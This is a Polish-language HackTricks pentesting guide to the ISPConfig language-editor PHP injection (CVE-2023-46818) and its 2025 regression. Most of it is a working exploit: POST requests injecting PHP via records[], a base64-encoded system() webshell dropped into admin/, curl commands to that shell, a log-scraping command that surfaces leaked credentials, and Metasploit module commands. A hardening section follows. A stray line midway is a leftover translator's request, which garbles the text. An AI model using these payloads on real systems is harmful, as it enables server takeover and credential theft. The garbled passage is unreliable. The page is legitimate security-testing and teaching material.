ISPConfig
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Overview
ISPConfig to otwarty panel sterowania hostingiem. Starsze wydania z serii 3.2.x zawierały funkcję edytora plików językowych, która po włączeniu dla superadministratora umożliwiała wstrzyknięcie dowolnego kodu PHP za pomocą sfałszowanego rekordu tłumaczenia. Może to prowadzić do RCE w kontekście serwera WWW i — w zależności od sposobu uruchamiania PHP — eskalacji uprawnień.
Key default paths:
- Web root often at
/var/www/ispconfigwhen served withphp -Sor via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Edytor językowy PHP code injection (CVE-2023-46818)
- Dotyczy: ISPConfig do wersji 3.2.11 (naprawione w 3.2.11p1)
- Warunki wstępne:
- Zaloguj się jako wbudowane konto superadmin
admin(inne role nie są dotknięte według producenta) - Edytor języków musi być włączony:
admin_allow_langedit=yesw/usr/local/ispconfig/security/security_settings.ini - Skutek: Uwierzytelniony administrator może wstrzyknąć dowolny kod PHP, który zostanie zapisany w pliku językowym i wykonany przez aplikację, uzyskując RCE w kontekście web
Referencje: wpis NVD CVE-2023-46818 oraz link do biuletynu producenta w sekcji Referencje poniżej.
Ręczna procedura eksploatacji
- Otwórz/utwórz plik językowy, aby uzyskać tokeny CSRF
Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (csrf_id, csrf_key). Przykładowa ścieżka żądania: /admin/language_edit.php.
- Inject PHP via records[] and save
Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy rekord tłumaczenia. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Test poza pasmem (obserwuj ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Zapisz pliki i upuść webshell
Użyj file_put_contents, aby utworzyć plik w ścieżce dostępnej przez web (np. admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Następnie napisz prosty webshell używając base64, aby uniknąć niechcianych znaków w POST body:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Proszę wklej zawartość pliku src/network-services-pentesting/pentesting-web/ispconfig.md, a przetłumaczę go na polski zachowując format Markdown i podane zasady.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Jeśli PHP jest uruchomione jako root (np. via php -S 127.0.0.1:8080 uruchomione przez root), daje to natychmiastowe root RCE. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.
Regresja 2025 (ISPConfig 3.3.0 / 3.3.0p1)
Błąd edytora języka pojawił się ponownie w 3.3.0/3.3.0p1 i został naprawiony w 3.3.0p2. Warunki wstępne pozostały niezmienione (admin_allow_langedit i logowanie administratora). Ten sam patch naprawił także monitor XSS oraz rotowane logi dostępne dla wszystkich.
Uwagi:
- W 3.3.0/3.3.0p1 rotowane logi dostępne dla wszystkich w katalogu
/usr/local/ispconfig/interface/log/mogą leak poświadczenia jeśli debug logging był włączony:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit steps zgadzają się z CVE-2023-46818; 3.3.0p2 dodaje dodatkowe kontrole przed edycją języka.
Python PoC
Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu:
Przykładowe uruchomienie:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (released July 2025)
Rapid7 dodał exploit/linux/http/ispconfig_lang_edit_php_code_injection, który może automatycznie włączyć admin_allow_langedit, jeśli podane konto admin ma uprawnienia system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Moduł zapisuje payload zakodowany w base64 przez records[] i wykonuje go, dając PHP Meterpreter lub niestandardowy payload.
Wzmacnianie zabezpieczeń
- Zaktualizuj do 3.2.11p1 lub nowszej dla pierwotnego problemu, oraz do 3.3.0p2 lub nowszej dla regresji z 2025 roku.
- Wyłącz edytor języka, chyba że jest absolutnie konieczny:
admin_allow_langedit=no
- Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW, aby obniżał uprawnienia
- Wymuś silne uwierzytelnianie dla wbudowanego konta
admin
Referencje
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


